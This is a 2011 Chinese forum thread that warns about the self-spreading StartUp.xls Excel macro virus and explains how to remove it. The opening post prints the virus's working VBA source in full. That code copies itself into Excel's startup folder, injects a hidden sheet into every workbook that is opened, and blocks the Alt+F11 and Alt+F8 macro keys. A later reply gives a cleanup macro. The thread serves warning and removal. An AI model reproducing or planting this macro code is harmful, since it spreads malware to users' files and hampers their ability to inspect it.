提醒：近来在论坛上感染StartUp.xls宏病毒。

guzhen9315 · 发表于 2011-3-29 22:32

提醒：近来在论坛上感染StartUp.xls宏病毒。

中毒现象：excel文件一打开，不管是新建还是打开xls文件，就会自动copy到新建文件或者打开的xls文件。

解药良方：
1、删除以下目录的StartUp.xls文件
C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls

2、在打开感染StartUp.xls宏病毒的excel文件时，不启动宏。并删除StartUp模块。

以下为宏病毒代码（不得运行！！！）
-------------------------------------------------------
Sub auto_open1()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
-------------------------------------------------------
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
  End If
End Sub
-------------------------------------------------------

lb_bn · 发表于 2011-3-30 19:01

谢谢楼主提醒，有没有什么破坏性？

guzhen9315 · 发表于 2011-3-30 19:51

没有什么破坏性，是个良性宏病毒，只是好烦。

不过对研究宏病毒的人，是一个好案例。

lrlxxqxa · 发表于 2011-3-31 11:25

谢谢guzhen9315提醒并分享解决方法

chqyz · 发表于 2011-4-1 16:29

关键是怎么找到中毒的文件呢

guzhen9315 · 发表于 2011-4-1 22:26

原帖由 chqyz 于 2011-4-1 16:29 发表
关键是怎么找到中毒的文件呢

从中毒开始，只要你打开过的excel文件，就是中毒了。
一般都是最新打开过、修改过的excel文件，你自己没有修改，但是“宏病毒”帮你修改了。

呵呵，愚人节快乐！

larkzh · 发表于 2011-4-3 16:06

小心为妙。

lyhabc · 发表于 2011-5-11 09:25

刚刚中了这个宏病毒，确实是很厉害，LZ的解决办法好像不行哦

wangvei · 发表于 2011-9-6 11:22

不是楼主说的不行，而是你在某段时间打开过的的文件已经感染了病毒了，楼主只是删除了病毒文件，没有彻底解决这个问题。所以当你再次打开感染了病毒的文件时，那个StartUp.xls又生成了。
解决的办法是：
1、删除C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls文件
2、在刚刚删除StartUp.xls文件的文件夹下再新建一个StartUp.xls，并且拷贝下面的代码到这个文件里。
Sub auto_open()
On Error Resume Next
Application.ScreenUpdating = False
ActiveWindow.Visible = False
n$ = ActiveWorkbook.Name
Workbooks(n$).Close (False)
Application.OnSheetActivate = "StartUp.xls!cop"
End Sub
Sub cop()
On Error Resume Next
Dim VBC As Object
Dim Name As String
'Dim delComponent As VBComponent
Name = "StartUp"
For Each book In Workbooks
Set delComponent = book.VBAProject.VBComponents(Name)
book.VBAProject.VBComponents.Remove delComponent
Next
End Sub
就应该好了。

doitbest · 发表于 2011-9-7 16:32

谢谢各位的提醒和分享

		自动登录	找回密码
密码			免费注册

[交流] 提醒：近来在论坛上感染StartUp.xls宏病毒。